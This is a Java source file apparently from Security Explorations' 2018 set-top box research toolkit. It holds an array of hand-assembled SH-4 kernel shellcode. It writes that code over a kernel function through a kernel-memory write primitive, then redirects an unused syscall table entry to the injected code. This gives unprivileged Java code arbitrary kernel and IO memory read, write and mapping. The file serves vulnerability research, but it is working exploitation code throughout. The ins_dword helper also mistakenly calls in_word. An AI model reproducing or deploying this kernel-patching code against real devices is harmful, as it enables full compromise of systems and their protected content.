/*## (c) SECURITY EXPLORATIONS    2018 poland                                #*/
/*##     http://www.security-explorations.com                                #*/

/* THIS SOFTWARE IS PROTECTED BY DOMESTIC AND INTERNATIONAL COPYRIGHT LAWS    */
/* UNAUTHORISED COPYING OF THIS SOFTWARE IN EITHER SOURCE OR BINARY FORM IS   */
/* EXPRESSLY FORBIDDEN. ANY USE, INCLUDING THE REPRODUCTION, MODIFICATION,    */
/* DISTRIBUTION, TRANSMISSION, RE-PUBLICATION, STORAGE OR DISPLAY OF ANY      */
/* PART OF THE SOFTWARE, FOR COMMERCIAL OR ANY OTHER PURPOSES REQUIRES A      */
/* VALID LICENSE FROM THE COPYRIGHT HOLDER.                                   */

/* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS    */
/* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,*/
/* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL    */
/* SECURITY EXPLORATIONS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, */
/* WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF  */
/* OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE     */
/* SOFTWARE.                                                                  */

import java.lang.*;

public class IOMem {
 public static final int NR_UNUSED_SYSCALL = 17;

 public static final int STPTIHAL_READ_PROC_DSC = 0x818f9600;

 private static final int IO_READ  = 1;
 private static final int IO_WRITE = 2;

 private static int syscall_table;
 private static boolean initialized;

 private static int syscall_code[]={
  0x4f222fe6,     /*  mov.l   r14, @-r15                                      */
                  /*  sts.l   pr, @-r15                                       */
  0x00090009,     /*  nop                                                     */
                  /*  nop                                                     */
  0x00090009,     /*  nop                                                     */
                  /*  nop                                                     */
  0x0009b004,     /*  bsr     forward                                         */
                  /*  nop                                                     */
  0x11223344,     /*  .long 0x11223344 ! begin marker                         */
                  /*                                                          */
  0x00000000,     /*  .long 0x00000000                                        */
                  /*                                                          */
  0x2f962f86,     /*  mov.l   r8, @-r15                                       */
                  /*  mov.l   r9, @-r15                                       */
  0x2fb62fa6,     /*  mov.l   r10, @-r15                                      */
                  /*  mov.l   r11, @-r15                                      */
  0x2fd62fc6,     /*  mov.l   r12, @-r15                                      */
                  /*  mov.l   r13, @-r15                                      */
  0xeaff082a,     /*  sts     pr,r8                                           */
                  /*  mov     #-1,r10                                         */
  0x88006043,     /*  mov     r4,r0                                           */
                  /*  cmp/eq  #0,r0                                           */
  0x00098935,     /*  bt      domap                                           */
                  /*  nop                                                     */
  0x89058801,     /*  cmp/eq  #1,r0                                           */
                  /*  bt      doread                                          */
  0x88020009,     /*  nop                                                     */
                  /*  cmp/eq  #2,r0                                           */
  0x00098917,     /*  bt      dowrite                                         */
                  /*  nop                                                     */
  0x0009a037,     /*  bra     end                                             */
                  /*  nop                                                     */
  0x88016053,     /*  mov     r5,r0                                           */
                  /*  cmp/eq  #1,r0                                           */
  0x00098908,     /*  bt      doread1                                         */
                  /*  nop                                                     */
  0x89088802,     /*  cmp/eq  #2,r0                                           */
                  /*  bt      doread2                                         */
  0x88040009,     /*  nop                                                     */
                  /*  cmp/eq  #4,r0                                           */
  0x00098908,     /*  bt      doread4                                         */
                  /*  nop                                                     */
  0x0009a02b,     /*  bra     end                                             */
                  /*  nop                                                     */
  0xa0286a60,     /*  mov.b   @r6,r10                                         */
                  /*  bra     end                                             */
  0x6a610009,     /*  nop                                                     */
                  /*  mov.w   @r6,r10                                         */
  0x0009a025,     /*  bra     end                                             */
                  /*  nop                                                     */
  0xa0226a62,     /*  mov.l   @r6,r10                                         */
                  /*  bra     end                                             */
  0x60530009,     /*  nop                                                     */
                  /*  mov     r5,r0                                           */
  0x89088801,     /*  cmp/eq  #1,r0                                           */
                  /*  bt      dowrite1                                        */
  0x88020009,     /*  nop                                                     */
                  /*  cmp/eq  #2,r0                                           */
  0x00098909,     /*  bt      dowrite2                                        */
                  /*  nop                                                     */
  0x890a8804,     /*  cmp/eq  #4,r0                                           */
                  /*  bt      dowrite4                                        */
  0xa0160009,     /*  nop                                                     */
                  /*  bra     end                                             */
  0x26700009,     /*  nop                                                     */
                  /*  mov.b   r7,@r6                                          */
  0xa012ea00,     /*  mov     #0,r10                                          */
                  /*  bra     end                                             */
  0x26710009,     /*  nop                                                     */
                  /*  mov.w   r7,@r6                                          */
  0xa00eea00,     /*  mov     #0,r10                                          */
                  /*  bra     end                                             */
  0x26720009,     /*  nop                                                     */
                  /*  mov.l   r7,@r6                                          */
  0xa00aea00,     /*  mov     #0,r10                                          */
                  /*  bra     end                                             */
  0x50810009,     /*  nop                                                     */
                  /*  mov.l   @(sh_mv_off,r8),r0                              */
  0x64535009,     /*  mov.l   @(36,r0),r0                                     */
                  /*  mov    r5,r4                   ! addr                   */
  0x66736563,     /*  mov    r6,r5                   ! size                   */
                  /*  mov    r7,r6                   ! flags                  */
  0x0009400b,     /*  jsr    @r0                                              */
                  /*  nop                                                     */
  0xa0006a03,     /*  mov    r0,r10                                           */
                  /*  bra    end                                              */
  0x60a30009,     /*  nop                                                     */
                  /*  mov     r10,r0                                          */
  0x6cf66df6,     /*  mov.l   @r15+, r13                                      */
                  /*  mov.l   @r15+, r12                                      */
  0x6af66bf6,     /*  mov.l   @r15+, r11                                      */
                  /*  mov.l   @r15+, r10                                      */
  0x68f669f6,     /*  mov.l   @r15+, r9                                       */
                  /*  mov.l   @r15+, r8                                       */
  0x000b4f26,     /*  lds.l   @r15+, pr                                       */
                  /*  rts                                                     */
  0x00096ef6,     /*  mov.l   @r15+, r14                                      */
                  /*  nop                                                     */
  0x00090009,     /*  nop                                                     */
                  /*  nop                                                     */
  0x00090009,     /*  nop                                                     */
                  /*  nop                                                     */
  0x00090009,     /*  nop                                                     */
                  /*  nop                                                     */
 };

 private static void initialize() {
  if (initialized) return;

  if (!SysData.is_cached(SysData.SD_CUSTSYSCALL)) {
   int addr=0;
   
   if (Config.isHERMES()) {
    addr=KModule.get_sym_addr("stpti4_core","stptiHAL_read_proc_dsc");
   } else

   if (Config.isCARBO()) {
    addr=STPTIHAL_READ_PROC_DSC;
   }

   ApiMonitor.log("iomem syscall addr "+Utils.hex_value(addr,8));

   if (addr!=0) {
    syscall_table=Config.syscall_table_addr();

    ApiMonitor.log("syscall_table addr "+Utils.hex_value(syscall_table,8));

    int buf=Utils.code2buf(syscall_code);
    int res=Kmem.write(addr,buf,syscall_code.length*4);
   
    if (res==syscall_code.length*4) {
     Utils.memset(buf,0,syscall_code.length*4);

     int res2=Kmem.read(addr,buf,syscall_code.length*4);

     for(int i=0;i<syscall_code.length;i++) {
      int v=Memory.read_dword(buf+4*i);
      if (v!=syscall_code[i]) {
       ApiMonitor.log("bad code "+Utils.hex_value(v,8)+" != "+Utils.hex_value(syscall_code[i],8));
       return;
      }
     }

     int sysentry=syscall_table+NR_UNUSED_SYSCALL*4;

     Memory.write_dword(buf,addr);
     Kmem.write(sysentry,buf,4);

     Utils.sleep(1000);
     Kmem.read(sysentry,buf,4);

     SysData.cache(SysData.SD_CUSTSYSCALL,1);

     initialized=true;
    }

    NativeCode.getInstance().free(buf);
   }
  }
 }

 public static int in_byte(int addr) {
  initialize();

  if (initialized) return NativeCode.getInstance().syscall(NR_UNUSED_SYSCALL,IO_READ,1,addr,0,0,0,0,0);
   else return -1;
 }

 public static int in_word(int addr) {
  initialize();

  if (initialized) return NativeCode.getInstance().syscall(NR_UNUSED_SYSCALL,IO_READ,2,addr,0,0,0,0,0);
   else return -1;
 }

 public static int in_dword(int addr) {
  initialize();

  if (initialized) return NativeCode.getInstance().syscall(NR_UNUSED_SYSCALL,IO_READ,4,addr,0,0,0,0,0);
   else return -1;
 }

 public static int out_byte(int addr,int val) {
  initialize();

  if (initialized) return NativeCode.getInstance().syscall(NR_UNUSED_SYSCALL,IO_WRITE,1,addr,val,0,0,0,0);
   else return -1;
 }

 public static int out_word(int addr,int val) {
  initialize();

  if (initialized) return NativeCode.getInstance().syscall(NR_UNUSED_SYSCALL,IO_WRITE,2,addr,val,0,0,0,0); 
   else return -1;
 }

 public static int out_dword(int addr,int val) {
  initialize();

  if (initialized) return NativeCode.getInstance().syscall(NR_UNUSED_SYSCALL,IO_WRITE,4,addr,val,0,0,0,0);
   else return -1;
 }

 public static byte[] ins_byte(int addr,int size) {
  byte res[]=new byte[size];

  for(int i=0;i<size;i++) {
   res[i]=(byte)in_byte(addr+i);
  }

  return res;
 }

 public static int[] ins_word(int addr,int size) {
  size=(size+1)>>1;
  addr&=0xfffffffe;

  int res[]=new int[size];

  for(int i=0;i<size;i++) {
   res[i]=in_word(addr+2*i);
  }

  return res;
 }

 public static int[] ins_dword(int addr,int size) {
  size=(size+3)>>2;
  addr&=0xfffffffc;

  int res[]=new int[size];

  for(int i=0;i<size;i++) {
   res[i]=in_word(addr+4*i);
  }

  return res;
 }

}
